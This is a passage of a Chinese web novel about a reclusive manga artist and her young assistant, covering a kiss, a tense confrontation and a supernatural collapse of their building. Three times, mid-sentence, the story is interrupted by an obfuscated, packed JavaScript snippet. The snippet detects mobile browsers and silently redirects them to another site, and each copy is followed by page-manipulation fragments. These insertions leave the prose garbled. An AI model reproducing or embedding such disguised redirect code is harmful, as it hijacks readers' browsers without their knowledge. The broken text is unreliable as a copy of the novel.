对方甚至还加重了力度。
外面的唇是凉的,内里却温软。
心脏后知后觉,终于开始砰砰砰狂跳,身体的晒伤处又开始灼热发烫。
“我错了。”这三个字说得干巴巴的,口干舌燥。
指骨上的力道再次加重,她的样子似乎别有深意,齿间的动作被他指上的触觉放大。
是——在磨牙吗?
“疼……”他轻轻皱眉。
她终于松口。
许鲸倒起一杯水就开始漱口,唯独小崔盯着自己的手指在原地发怔。
手立马又被握住了。
许鲸拿了一张湿巾在擦他的手。
就像第一次擦他的手一样,擦得很细致。
“你没有什么想求的东西吗。”她忽然出声。
仿佛刚刚的事就轻轻揭过,从未发生。
“我……也是求雨吧。”他也当作若无其事。
“只是求雨吗?”
他试图将心脏调回正常的节奏,和她聊起日常的话题:“是啊,不知道下周还有没有雨天。”
他的注意力实则全放在许鲸身上,连自己的话都听不大清。
许鲸站了起来,崔相逢也跟着站了起来。
她朝卧室的方向走,刚走一步,就被拉住了睡袍上的帽子,更准确地说,是帽子上那对耳朵。
因为惯性,许鲸被他拉得向后倾。
她又对他投出了个疑惑的眼神。
“我不是故意的。”才怪。
“放下。”
他转而顺从地牵起了她的衣角。
“你要进我的卧室?”
进卧室是打算工作还是睡觉?这两样显然都不是什么他现在想要的答案。
他知道现在的时间,是九点半,他也睡不着。
小崔的脑子里闪过很多东西,最后出口:“你还要周更吗?”
“一个人会不会太赶。”
如果真的影响了睡眠,这样熬夜赶稿,似乎不太好。
许鲸思索了一下,道:“早点清完存稿,可以早点加上你的名字。”
原来是这样。
他放下了手,但是许鲸没直白地让他走,他还是不想走。
出乎意料地,许鲸从卧室拿了一堆折成三角的符箓。
她全然不顾小崔的一脸懵,将这些东西塞进了他的手里。
“这是什么?”
“求雨符。”
真的能求雨吗?
在小崔的震惊中,许鲸解释起来:“下一卷要加个新角色,稍微了解了一下符箓学。”
“你要试吗?”
“怎么试?”
她沉吟了一会儿,道:“大概是——撕掉。”
第二天清晨,小崔望着晴朗的天空,拿出了兜里的小三角,小心翼翼地一撕——
天空下起了细如柳丝的雨。
他第一次在去学校的路上打起了伞。
8. 漫画大触(7)
军训的最后一个晚上恰巧没有下雨,学生们像小鸡仔一样被教官们赶到操场上,先是进行一波拉歌比赛,然后开始互相推同学进行才艺表演。
这个晚上一般是最热闹的,因为第二天阅兵结束教官就要打道回府。
才艺表演期间教官们特地给学生们分发了手机,不但可以记录,还可以充当荧光棒渲染氛围。
小崔给许鲸打了个视频,镜头朝向热闹的草坪中央。
许鲸接通之后就把自己那边的摄像头关了。
小崔这边只匆匆瞥见一个漂亮的影子,然后就看到她放大的微信头像——和工作室的一模一样。
“要干嘛。”
她还是习惯打字交流。
“你还好吗?”他先问的是关心她的话,“明天军训就结束了,今天晚上教官发了手机——”
却没解释为什么突然打视频。
她一直都觉得,视频通话是一件很私密的事情,但是看到对方是崔相逢,她也没选择把电话挂了。
“死不了。”
他换了种问法:“我最近有吵到你吗?”
许鲸回过味来,走到落地窗前,开了个小缝。
有风吹过,卧室内的向日葵花瓣颤了一颤。
她这边确实能看到小崔所在的操场,只是距离有点远,人在里面小得像蚂蚁。
许鲸通过视频的画面,目光定位到了她的蚂蚁所在的一个小角。
“很重要吗?”
反正都是睡几觉就好了。
小崔笑了一笑:“下次让我碰到那种好事,我就不脱鞋进你家。”
丝毫没有威胁力。
现在也就八点,距离崔相逢回来还早,许鲸将手机支在工作台的支架上,一边听着对面的声音,一边办公。笔在数位屏上滑动的声音细细沙沙,小崔那边的声音很吵,他完全注意不到。
“你好你好!”
手机另一侧传来了女性的声音,距离很近,将她从工作的状态中拉出来,她的注意力全被吸引了过去,手中的笔一动不动。
“帅哥哥,可以加微信吗?”声音很甜。
这段相对自由的时间里,有些大一新生已经开始释放自己的荷尔蒙。
和她一起等待小崔回答的人,还有许鲸。
“抱歉哈——”小崔示意了一下手机的聊天界面。
女生便自然而然地以为他在和对象打视频。
她快速瞄了一眼,不好意思道:“有对象就打扰了,祝你们99啊。”
然后火速逃离尴尬现场。
不远处,先前给她打气的朋友见她这么快跑回来,赶紧问情况,女生缓了缓,然后道:“他对象名字居然和我追的漫画作者名字一模一样。”
只是短短的几分钟,许鲸的手心便出了汗。
她疑惑起自己出现这种状态的原因。
大学这段时间,自然是该谈恋爱的,她也应当,应当为他有女性喜欢而欢喜吗?可一想到这件事,她的心跳似乎都沉闷起来。
许鲸开始揣摩自己的想法。
她问起了男女之间老生常谈的问题:“你有没有喜欢的类型?”
“有啊,喜欢姐姐。”小崔几乎是顺口答的。
说者似乎无心,听者却有意。
那两个字暧昧不明,她心脏的节拍在清晰地加速,却还强装一本正经。
“是该找对象了。”
这番话说出来貌似违心,却符合她本来的设想。
“那你谈过吗?”
……显然没有。
“姐姐有理想型吗?”小崔故意反问。
她更是回答不出来。
许鲸的前二十年灰涩且乏味,理想型这三个字她从未考虑过,她思考过更多的是——理想的生活。
爱情排在了她的必需品之外,她对目前产生的情绪感到陌生,新奇,甚至恐惧。
因为不受控,仿佛是兽性的本能。
可这种本能不该对着这个人。
她更希望,是她误会了自己。
草坪中央的教官接过话筒,唱起了自以为深情的小甜歌,学生们举着手机给他打光,手臂随着拍子摇摆。
沙哑而模糊的歌声被夜风从夹缝中带了进来,和手机视频中的声音仿佛合唱。
小崔将手机举高了些,方便许鲸看清。
淡淡的风轻轻刮过淡黄的花瓣,撩拨起一层层薄到易碎的涟漪。
许鲸说话了:
“我想看你的样子。”
他将镜头翻转,眸子灰亮。
……
许鲸新加的角色是个女道士,天然一副豁达风流,无心无欲,稿子人设一出,小崔就知道这家伙天克反派。
他坐在沙发前仰头:“是不是打算完结了?”
军训结束回来后,许鲸变冷淡了许多,他又坐回了小毯子。
也可能上次只是他趁弱打劫的例外。
“大概还有两三卷。”
漫画后期出这种天克角色,反派几乎是必死,魇之都的反派要是死了,那就没故事了。
许鲸道:“结局要导向正确价值观,只能把它弄死。”
语气无情得残忍。
小崔了然,没人制衡的话,按照剧情发展,这个世界只能是变成反派的养殖场了。
这种大概率过不了审。
许鲸个人倾向过不了审的结局,她觉得热血王道漫中主角打败大Boss的情节太过俗套。
魇的武力值在漫画里是天花板水平,对于这个亲手制造的孩子,一定要让它死的话,她更倾向于让它自杀。
被一群心智不成熟的中二病少年秒了也太丢脸了。
小道士的人设拉满了对魇的防御,她的命倒是不用担心。
但是魇该怎么被杀死——
她从未考虑过这个问题。
许鲸卡脚本上了。
由于前车之鉴,小崔在的时候,她只吃硬糖,此时糖在她的齿间被摩擦得咯嗒咯嗒的。
要让一个强大的生物自愿选择消失,可能吗?
她习惯思索时给眼睛找一个落点,目光就不知不觉落在身前少年的后脊——领口宽大,能看到脖子处有个明显的晒伤分界线。
“痛吗?”
她不自觉出声。
“现在还好……军训一直下雨,再加上涂了药,已经不怎么疼——”
他皱了皱眉,想到许鲸的视角,因为不清楚背部的情况,继续说:“不过晒伤膏用完了,我除了脸其他地方就没怎么擦——应该也就看起来恐怖。”
许鲸微微向前倾了倾身,这个角度可以让她看到面部的更多面积。他的皮肤显然还挂着红血丝,相比于之前的白,现在更多是粉。
恢复得还行。
“你这里还有晒伤膏吗?”
小崔侧了侧脑袋,刚好错过许鲸的目光。
他猜测,这座公寓应该每户都配了一个医疗箱。
果然,许鲸说:“有。”
她默不作声把晒伤膏拿出来,递到小崔面前,手指轻曲着,修剪整齐的指甲粉粉的,在灯光下莹莹亮。
好看。
小崔一直很想围观她工作,这双手太美了,动起来画画肯定更诱人,可惜许鲸一般都在卧室画画。
他准备去拿,指尖触到她掌心,温度刚刚交接,许鲸却即时收回了,动作间,粉色的指甲尖不经意勾过他指腹,一阵发痒。
她不知思忖了什么,说:“我先帮你涂背吧。”
小崔惊讶地挑了一下眉,轻轻拢了拢手,顺其自然道:“好啊。”
他端正了坐姿,将松垮的领口往下扯,裸露的晒伤处显得被衣服遮盖的皮肤更加白皙,比如,衣领深处那雪白的背沟——
她第一次直观地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094009|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
认识到这条沟的别称——美人沟。
许鲸的手很冰,药膏在她的手上冰冰凉凉,他的伤口内里是热的,这个温度让他舒服得像猫一样眯起了眼。
不一会儿——
“好了。”她的语气轻描淡写,视线却还停在背部的雪白不放。
这么好的皮肤,被晒伤了,属实可惜……
他扭过头:“前面也可以帮一下忙吗?不想弄脏手——”
好人做到底嘛……
许鲸张了张口,乌黑的眸子动了动,对上他的眼睛,然后,说:“那你——转过来。”
他特别乖巧地跪坐在她面前。
锁骨处的创可贴是粉色的,像个小饰品一样镶嵌在他的脖颈处,身前的晒痕是个V形,小崔将自己胸前的领子慢慢往下拉,一直拉到红痕的末端,又小心翼翼地遮挡若隐若现的私密——
不知为什么,他晒伤的脸出现了类似醉酒后的酡红。
这番动作,对他来说貌似过于羞耻了……
许鲸轻低了低头,苍□□致的指轻轻揭下创可贴,她看到锁骨上还留有细细的小痂。
“不会留疤吧。”小崔别着脸,盯着她的指尖。
“应该不会。”
她随手将东西扔到垃圾桶,继续专心地涂抹自己的作品。
冰凉的指节沿着他的胸骨缓缓往上,胸前的领口也随着她的动作放松懈怠,跟着她的路径不断收拢。
她的指尖路过他的心跳,故意停了一停,心脏扑通扑通,她的指腹摩挲过他的痂口,锁骨泛起一阵酥麻,不知不觉,白色的皮肤也泛起了一片粉,像是被新晒伤的。
她在描摹他的骨,描到喉结处,他被迫往后仰,喉结便更加明显,他感知到她在按揉那脖颈处的凸,他不禁吞咽口水,喉结便在她的掌心上下耸动。
烧红的肌肤被药膏刺激,疼痛如丝如缕,让人沉溺其中。
她抵到了他的喉头,这个动作让他喉咙发痒,情不自禁想呻/吟,但他极力控制住了,他微张着唇,只盯着天花板上明亮的灯怔楞。
指腹的温度被他感染得逐渐升高,她的地图终于开辟到了他的下巴。
轻轻地刮了刮。
结束,许鲸的手刚要松开,便被眼前少年一把抓住了腕。
他说:“还有脸哦——”
她没有觉得冒犯,只是敛了敛眸,轻轻地“嗯”了一声。
她重新蘸取了药膏,面对那张脸,那双眼睛的直视,却犯了难——她反倒不知从何下手。
额头,鼻子,还是——唇?
她的视线落在唇,这个地方按理是不用涂药膏,但她的脑中却不经联想,撬开之后唇瓣内尖锐的虎牙。
小崔头一次见到那张病气的脸起了红晕。
反而有了股活人感。
他原本是跪坐的,这时膝盖以上支起,视线几乎与坐在沙发上的许鲸齐平。他将下巴抬了抬,努力离她迟疑的手更近,于是,脸也就更近了。
精巧的五官放大。
他甚至能感受到她呼出的气体一瞬间的错乱。
“怎么了?”
他好奇,茫然,无辜,如同不谙世事。
他们的呼吸暧昧地交织,温热的气息缓慢地流动在人唇瓣间狭窄的距离。
那双乌黑的瞳仁动了动,对上他的眸子,然后鬼使神差地,唇贴上了唇。
时间好像就这么静止了,拐角处刚钻出来的扫地机器人探出了个头,又默默缩了回去。
他们就只是这么贴着,什么也没动,唇瓣上传递过来的温度烫得几乎要将她灼伤,两个人似乎都忘了如何呼吸。
动作太突然太刺激,小崔的腿不知觉发软,他的身体撑不住向后倾,幸好即时反应,双手支住地面。
入侵者的眼睫动了动,将身体压得更低。
他尝到了甜味。
桃子味的。
9. 漫画大触(8)
咔嚓。
糖咬碎的声音。
她似乎并不知道下一步该如何动作,她的手手撑在他的腰侧,腰侧是天鹅绒的毯子,毯子上的绒毛柔软,绵密,不断撩拨她的掌心。
很奇怪,明明刚开始只是轻轻一碰,可后续好像就失控了,一发不可收拾了。
她循着感官刺激一点点地侵略,身体靠得更亲密,却始终没有更进一步。
接吻是要闭眼的,可他们都没有闭上眼睛,那就不算接吻。
她冰凉的唇一直只是贴着,仿佛是在给他烧到冒烟的脑袋降温。
软软的。
像在品尝一颗果冻——
啧。
她被推开了。
唇上的余温藕断丝连,像是黏糊糊的沾着糖渍一样,叭,分开了。
小崔半仰躺在地面喘着气,领口处的锁骨明晃晃的。
他显然没调整过来呼吸,而且长时间处于下位支撑地面,整个人几乎酥麻了。
许鲸的状态就比他好得多,她适应得很快,小崔憋到要翻白眼的时候,她的气息已经稳得像是在亲一块普通的皮。
“我们刚刚做了什么——”他虚虚地问。
“什么都没发生。”她说。
“什么都没发生?”
她看着他的眼睛,淡淡地发出了一个音:
“嗯。”
丝毫没有不自然的样子。
不想认账,真坏。
小崔挺起身,和她几乎是鼻尖对着鼻尖,凝视了两秒,趁她没反应过来,狠狠地用虎牙在她的下唇瓣上硌出了个口子。
他做了个鬼脸,也道:“什么都没发生。”
然后爬起来收拾几下就朝着门口走。
只是走了几步,他察觉身后的人也站了起来。
两人的距离不远不近。
他停住了,想送他,还是怎样?
这么近的距离倒也不必送。
他后脑勺下面的兜帽好像被抓住了。
小崔一愣,尝试向前迈了一步,却突然被猛地被往后拽。
他向后趔趄,差点跌到某人怀里。
如果只是考虑她细瘦的身板,他会毫不怀疑这会把她压折,可许鲸看着虚,身体却意外地像竹杆子一样有劲。
“许鲸?”
他侧过身。
开口刹那,她踮起脚,再次吻了上来。
这次,他尝到了带着血腥味的碎糖。
他被压在了沙发上。
许鲸单手掐着他的下巴,他的牙关就这么被轻易撬开,舌尖与舌尖微微一碰,便触电似的缩回,然后又试探般地再次纠缠。
甜腻的滋味在二人间生发,舌头的柔软更是出乎人的意料。
事情既然都这么发生了,那就让它继续发生。
两人刚开始都生疏得你争我抢,但某个泡泡糖嚼多的人显然更灵活,几次熟练后,很快就让他败下阵来。
她在寻找他的五指,她想要相扣,仿佛这样就能贴得更近,她的体温升温得很快。
碎糖在两人的推诿中,化成了甜水。
“许鲸……”
“嗯?”
“姐姐?”
“嗯。”
“姐姐……”
这两个字好像成了调情,她听到后,也只是一味地加深自己的动作。
小崔他依然学不会呼吸。
她在他换气的时候轻轻吻他的耳垂。
他别了别脑袋,明知故问:“我们在干什么?”
她听到了,咬了一口他的下唇,并不说话,只是静静地看着他,热气在两人的呼吸间氤氲。
他笑了,不再被接吻桎梏的他胆子显然大了起来,他仰起下巴,挑逗般地追问:
“姐姐,你对我做了什么?”
亲吻这两个字在她的喉头转了又转,显得那么难以启齿。
他的笑容反而扩大,两个虎牙尖尖逐渐变得刺眼,好像在得意败北后反将了她一军:“你知道你在做什么吗?”
“姐姐?”
他一口一个姐姐叫得越发甜腻。
她只垂着眸,手指描摹着他勾起的唇角,指腹抵到他的尖牙,磨得指心发白。
“你是礼物。”她说。
她将头埋到他的脖颈,鼻息间充盈细腻的药香,被体温烘得暖暖的,闻着让人上头。
她蹭了蹭,不顾这荒诞的现实喃喃。
“他们说,你是送我的礼物。”
她的指尖挪到他的心脏,她隔着衣服在上面抚摸,打转,呼吸烧得他脖颈的伤口刺痛——也很爽。
指下的心脏噗通噗通。
“我听过你。”
在她很久远的模糊记忆中,她的手被人引导着按向一个人肚皮,她的耳侧曾贴在那个曾孕育过她的地方,她听到细微的噗通噗通。
然后现在,更强烈了。
她不由得发出一声轻笑。
他们说,这份礼物将会在未来某一刻被剖开,她将获得陪伴,获得快乐。她早就忘了当时的心情,但是她想,如果说的是现在的话,她确实快乐。
那么当时,也是期待的吧。
“口水不恶心吗?”
她不语,轻轻碰了碰他的唇,唇上未干的血迹给他印了个小印子。
“我们,是一体的。”
不是吗?
“那么——”他的语气带着一股狎昵,“你不恶心吗?姐姐?”
这个恶心,也可以指她这个人。
她试着让自己旖旎的心思冷静下来,她端详他神色,与她想象的各种反应不同的是,他看起来像是觉得——好玩。
眼神中甚至带着恶意。
习惯了被讨好,那么即便是一丝丝的恶意都会被刻薄放大。
这一丝恶意让她像是被从头到脚浇了一盆凉水。
“你勾引我的。”
她唇上的伤口开裂,显得她好无辜。
从始至终,都是他主动靠近。
现在情况很显然,许鲸的视角和他的视角不太一样,他们之间存在着一个很关键的信息差。
这个信息差让他觉得很刺激。
“我没有勾引哦。”他玩起了她的发丝,在手指上绕啊绕。
“我只是很正常地关心你啊。”
“可是——”她从他身上坐起来,“你有反应。”
“那又怎么样?”他同样支起身子,将她虚虚地半圈着她,额头抵着她的额头,“我也可以觉得很恶心。”
“姐姐你……怎么可以对我做出这种事……”
他亲昵地蹭了蹭,像个绿茶。
她琢磨不清他的想法了。
许鲸掐住他的下巴,制止了他的动作。
“你想怎么样?”
“不要找他们。”他微低着头,眨着灰亮的眸子,“他们是我的。”
他们——就是她所谓的父母。
“那我呢?”
“我也可以是你的。”他说。
周遭好像更冷了,按他下巴的那根手指用力得让他觉得疼了。
她张了张唇,语气晦涩:“所以,你大费周章,只是为了这个?”
“我怎么知道姐姐会有这么恶心的想法。”
“你原来是打算怎么样?”
“嗯——”他歪了歪脑袋,让那根桎梏住他的手指落了空,“看看你过得怎么样,对你好一点,然后就——不知道喽。”
然后就发展成这样?
“但是……”他继续说,“无论怎么样,我都会想办法让你不要见他们。”
“你喜欢我吧。”
“喜欢我,总不可能和我抢——”
许鲸打断了他的话,声音冰冷:“大费周章只是为了让我不要抢你的父母,你是不是有病?”
“嗯,对啊。”他欣然。
他只是在原主的目的上加了点自己的小心思,这么骂也没问题。
“滚。”
他滚了。
按理说亲都亲上了,他只需顺水推舟继续勾引就行,但是小崔天生就喜欢追求刺激。
爱是什么?
在他看来,真正的爱是最无底线的东西,哪怕把自己最丑陋的一面剖给对方看,对方也应当全盘接受。
乐于助人的好好先生?热情善良的小天使小太阳?他是这种人吗?
装不了一辈子。
时间现在是晚上九点,还有一个小时就是他的睡觉时间。
刷牙,洗漱,用去了半小时。
他换上了自己的薄款夏季睡衣。
门外罕见地响起来了敲门声。
透过猫眼,是许鲸。
对方低着头,帽子挡住了视野。
他没开门,只是在微信上问:“怎么了姐姐。”
“开门。”
“我要睡觉了。”
“开门。”
他想了想,把她的微信拉黑了,顺便把工作室的也拉黑了。
目的达成一半,接下去他也不需要当助理了。
小崔将客厅的灯关掉,伸了个懒腰,至于许鲸,看到被拉黑后,应该会自己回去吧——
背后传来“叮”的一声,门开了。
令他头皮发麻。
他缓缓回头,门外,声控灯的光照进来,她的身体透过门缝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094010|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,在地面形成了一个斜斜的,带兜帽的影子。
她的脸逆在光影里,阴森得吓人。
怎么进来的?
她好像听见了似的,抬起手,食指和中指夹着的是一张万能房卡。
她怎么会有万能房卡?
不太妙。
“那你先坐一会儿,我先去睡觉了?”他强装镇定,“请自便。”
说完,他两步当一步地走到卧室,进去后,马上把房间反锁,才敢松口气。
身后的门悄无声息地又开了。
而他刚走到床边。
他悠悠回头,许鲸悠悠地站在黑糊糊的门外。
他完全猜不出是怎么开的。
就好像门本来就虚掩着,她只是轻轻踢了一脚——
她这次没有解释自己的手段。
森冷的目光将他头发丝儿,连带睡衣都审视了一遍。
他有点想关空调了。
“有事吗?”他说,“之前不是让我滚?现在怎么又找我了。”
她往前走了几步,他为了不露怯,没退。
直到一个尖锐的物件抵到他的腰。
“我想和你好好聊聊。”
她的眸子仿佛深不见底的寒潭。
腰侧那个不明物,让他警铃大发,甚至背后冒出了冷汗。
他实在想不到之前输出了这么一顿后,许鲸还有什么东西可以和他好好聊。
与其说是聊,不如说是像在威胁。
他惹火了她。
“那我去给你泡杯咖啡?”
“我不喝。”
“我要喝。”他说,“我要睡觉了,很困。”
听到这个理由,他腰侧的力道稍稍松懈了一点。
“水喝吗?”
“嗯。”
“那先给你倒杯水。”
他稍稍往后退,悄悄看了一眼腰侧的物件——是一支笔。
一支丝毫没有威胁力的数位笔。
他能想象到,许鲸是在作画途中突然生起了找他的想法。
找水壶,拿水杯,他一直被身后的视线紧紧盯着,如芒在背,他谨慎地连倒水的水流都没有溅出一丝水花。
然后,他扶着杯子,将那杯温水放到卧室的桌面上。
“你喝吧,我去泡咖啡了。”
他放下这句话,趁许鲸目光在杯子上时,轻轻半合上卧室的门,留下一个可以让她放松警惕的缝,然后状态如常地走向咖啡机,在即将靠近通往室外的门口时,一步,两步——他突然夺门而出。
门摔成了重重的闷响。
许鲸肯定不会出来。
她是个死宅。
就在他庆幸可以逃避这次“好好聊”时,异变陡生。
脚下的公寓突然开始剧烈震荡,楼道天花板上的声控灯在他身后一个接一个爆裂,他条件反射地朝逃生通道跑去,楼梯一步步坍塌,他的大脑一片空白,逃生成了本能,肾上腺素飚到最高——
终于碰到一层地面,迎面热浪,它们完全不给他喘息的机会,脚下的鹅卵星子般炸开,小区里的树木,路灯长了眼似的全部向他倾倒。
门外!门外!门外还正常!
他朝着小区大门奔跑,大门外的风景一派平和,身后却如地狱,地上的裂缝像条毒蛇般一直咬着他的脚后跟。
他逃出了大门,绊到了一颗石头,力竭一般,身子向前一跃,倒在了一盏路灯下。
开裂的地缝已经追逐到他的腿根,恐怖的大楼排山倒海地崩塌,这个小区好像变成了一个怪物,怪物想要将他拆骨入腹。
他所熟悉的那个窗口早就四分五裂,辨认不出。
他如同脱水一般大汗淋漓,整个人像是刚从水里被捞出来一样,地面都留下一滩水渍。
他的心脏跳到整个秩序崩溃。
大楼崩塌的阴影即将将他吞噬,他下意识用手臂挡住——
一个晃眼,眼前一切的一切却又恢复正常。
就像刚刚,只是一个噩梦。
安详的蝉鸣——不远处车流的声音——
地面是完整的,树木是完整的,路灯是完整的。
他身上的汗沿着手臂脖子滴滴答答。
他抬头,几只蝇子在宁静的灯光下祥和地跳舞,不远处的大楼安然无恙。
他的目光锁定在自己熟悉的窗口——这栋大楼里唯一亮着灯的窗口。
窗口的灯光是暖黄的,依稀能辨认出一个戴着兜帽的人影。
她侧着身子,捧着一杯东西,低头,浅尝了一口。
头顶的路灯刺啦一声,炸了个火花。
蝇子的尸体落到地上。
10. 漫画大触(9)
第二天还是个早八。
他昨晚压根就不敢回公寓。
临时在学校附近找了个酒店,又买了几套衣服,等到睡觉已经是12点,生物钟严重超时,醒来后一看课表,距离上课还有十分钟,他火急火燎,奔到教室门口,还是迟到了五分钟。
大后排的位置早就坐满了人,他只能在老师的死亡视线中溜到前面几排。
这节是思政,上课没几个人听。
掏出手机和黑屏一个照面,他的脸色已经差得可以比上许鲸。
这种作息……难怪他两不是一个妈生的。
思政课老师的说话声巨催眠,听着听着,他眼前的视线就慢慢模糊了,人影变得模糊,耳边的声音也逐渐模糊……
蒙了层马赛克似的视野中,他似乎看到一道正在走近的人影。
教室的声音离他越来越远,周围越发地空荡荡,他听到一阵缓慢的、嗒嗒的脚步声,越来越清晰。
从门口,绕过讲台——
身后,有风吹过他耳边,桌面上的书翻开了一页。
嗒。
耳畔声音重又响起,眼前画面像是水墨荡开一般,再次明净。
他看见一只白皙的手拍在桌面上,往上看,却是今天的思政老师。
“这位——崔相逢同学。”老师看见了扉页上的姓名,“名字这么古风小生?那就由你来念一下接下来要讲的那一段吧。”
方才他一直半梦半醒,怎么可能知道老师讲到哪——她分明是瞥见他打盹了。
台上的内容还在,他站起来看了一眼黑板,决定找找目录,手指刚刚碰到扉页——一阵风刮过,书页哗啦啦,蹭着他的掌心,翻了好几张。
最后停在第96页。
纸张的小尾巴轻轻勾在指腹。
——和ppt上的内容正好衔接。
怎么会这么巧……
他小小惊讶了一下,顺其自然,照着段落逐字逐句念。念完坐下后,环顾了一圈四周——教室开着空调,窗户紧闭,哪里会有风?
只能是空调风。
这一天满课,无论早到还是晚到,他附近都没什么同桌。
小崔指的同桌范围很广,坐在以他为中心的九宫格范围内,都算同桌。
虽说他是走读生,没有像住宿生一样成群结队的关系,但是和同学们隔这么开的情况还是少见,更何况后来这状况还持续了好几天。
坐在他附近的人,总会因为各种事情挪位置。
最后一节专业课,他卡着点走进教室,斜后角刚好有个人孤零零坐着,没几分钟,那个人就因为某同学书忘带了,被拐了过去。
他身边又成了诡异的真空地带。
下午五点放学,出了教学楼,赤裸裸的高温将他的脖子后背烤得直冒汗。
从学校到酒店还有好长一段距离,但是校内的奶茶店就几步远。他点了一杯正常冰、三分糖。
路上一喝——齁甜,甜得他严重怀疑喝的是纯糖浆。他吐了出来,顺便在路边买了瓶冰矿泉水漱口。
过马路,一辆跑车擦着边从他鞋尖掠过。
回酒店洗澡,热水突然变成冷水直灌而下。
早上上课出门,酒店锁坏了,他莫名被反锁在房间内——
一连晦气几天,再怎么顿感的人都能察觉到,他很明显地被针对了。
小崔原本还想找人代课,宅房间总比在外面安全,但老是被点名,老师将他记得门儿清,代不了一点。
周五他干脆请假。
一直躲床上,只要天花板不塌,什么都伤害不了他。
小崔当起了缩头乌龟,自顾自玩手机,漫画软件蹦出个提醒,许鲸更新了。
他点进去翻了翻,许鲸在助手一栏上加了他名字。
他马上去搜微博关键词,视奸实时广场——好多人叫这个助手出来认领——
“这个小崔是哪个大佬?有没有人知道他的微博账号?”
“助手不是早就招了吗?怎么现在才加名字?”
“说不定人家前面那段时间在被培训……”
“有了助手后许鲸大佬确实画得更快了。”
“建议小崔老师出来唠嗑唠嗑两句——”
小崔估计他们是想从他这知道许鲸的信息——他才不冒头。
不过他在这一话之后画的稿子并不多,也不知道会不会对后续的更新有影响。
许鲸这么厉害,应该不缺他一个吧……
这时,许久未动的邮箱发来了一条消息,一个句号。
现在才想他吗?好久。
小崔瘪瘪嘴,回了一个感叹号!
“回来。”她不装了。
“不要。”
“理由?”
“住久了我都有精神病了出幻觉了地都裂开了楼要倒了好害怕好害怕呜呜呜。”
“我的房间随随便便就能被打开一点隐私都没有好恐怖好恐怖姐姐。”
他断句
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094011|195576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都懒得断,许鲸却自动脑补出他撒娇中带着小恼怒的语气。
“你想要什么?”
能提要求了?
但是他好像之前就提过要求吧。
之前是——不要让她见父母——
现在——他得想想。
小崔切了软件刷小视频,小视频推送的都是一些情侣打卡地点,餐厅约会?太暧昧。景区游玩?太枯燥。其他的不是太商务就是太运动,直到他刷到一个坐着过山车尖叫的视频——
许鲸会是什么反应?
他到现在都没怎么见过许鲸做过什么大表情——其实也没怎么见过她出门。
小崔难以想象许鲸惊声尖叫的样子,但是他很期待。
许鲸的好玩程度其实在过山车之上。
游乐园,离他们很近。
“我要你出来。”
对面停顿了很久,发出两个字:
“可以。”
“明天早上10点,我在游乐园门口等你。”
他又补充了一句:
“不来以后都不理你了。”
这个要求对她好像来说有点挑战性,10点左右是她的休息时间,她答应了就意味着要调作息。
而且,小崔想,天气这么热,死宅会出来吗?
……
幽暗的卧室里,小瓷瓶里的向日葵已经有些蔫了,原本鲜嫩的花瓣有了皱缩的痕迹,脆弱得让人都不敢碰。
卧室里的人一直等到屏幕的亮光熄灭,才在这片地带起身。
鞋子,衣服,糖果……
她逐一清点着明天需要的物件。
除了糖果外,她衣柜里用来外出的装饰品都是单调的灰黑,颜色单一得让人觉得乏味。
她看向窗——还是白天。
她将窗帘开了一个小缝,缝里透出一丝太阳的光,浅浅的,却正好覆盖花轮,好像这样就能挽救即将枯萎的生息……
可是,这样的话,花会不会从此向着窗外呢?
许鲸在瓷瓶中滴了几滴水,手指轻轻地碰了碰花盘后背,仿佛这般提醒,这朵花就不会见异思迁地转向太阳。
她讨厌光和热。
第二天,上午十点,持续了数日的35+高温陡然下降,暴跌二十度,大街上原本穿着短袖吊带的人们被这突然的寒意一激,不约而同打起了喷嚏。
有人说,今天是某市有史以来入秋最早的一天。
也是她真正意义上踏出门的一天。
11. 漫画大触(10)
九点,天气很热,来游乐园玩的人依然密密麻麻。
燥热的天和热情的人群将他逼出了细密的汗,这次出门不止折磨到了许鲸,还把他自己折磨了。
伤敌一千自损八百。
整个游乐园的基调是粉色公主风,城墙内的建筑物们涂满了高饱和的浪漫色彩,少女心拉满,光是在门口拍照就已经很出片,过来游玩的情侣亲子皆是打扮得五彩斑斓,和花蝴蝶一样,眼花缭乱。
时间在逼近十点的时候,温度已经能将人烤焦。
然后,忽然地,猝不及防地,降温了。
清爽的凉风带来一大片云,他身上蓬勃的燥热就这么被吹散了。
冷得他没忍住打了个喷嚏。
门口排队的光着臂膀的游客不由自主抱起了胳膊。
他似乎察觉到什么,目光扫过人群,果然,一堆五颜六色熙熙攘攘中,立着一只单薄的影子。
黑色卫衣,兜帽将脸盖得严严实实。
她是这里穿衣服最多的,像是早有预料会降温。
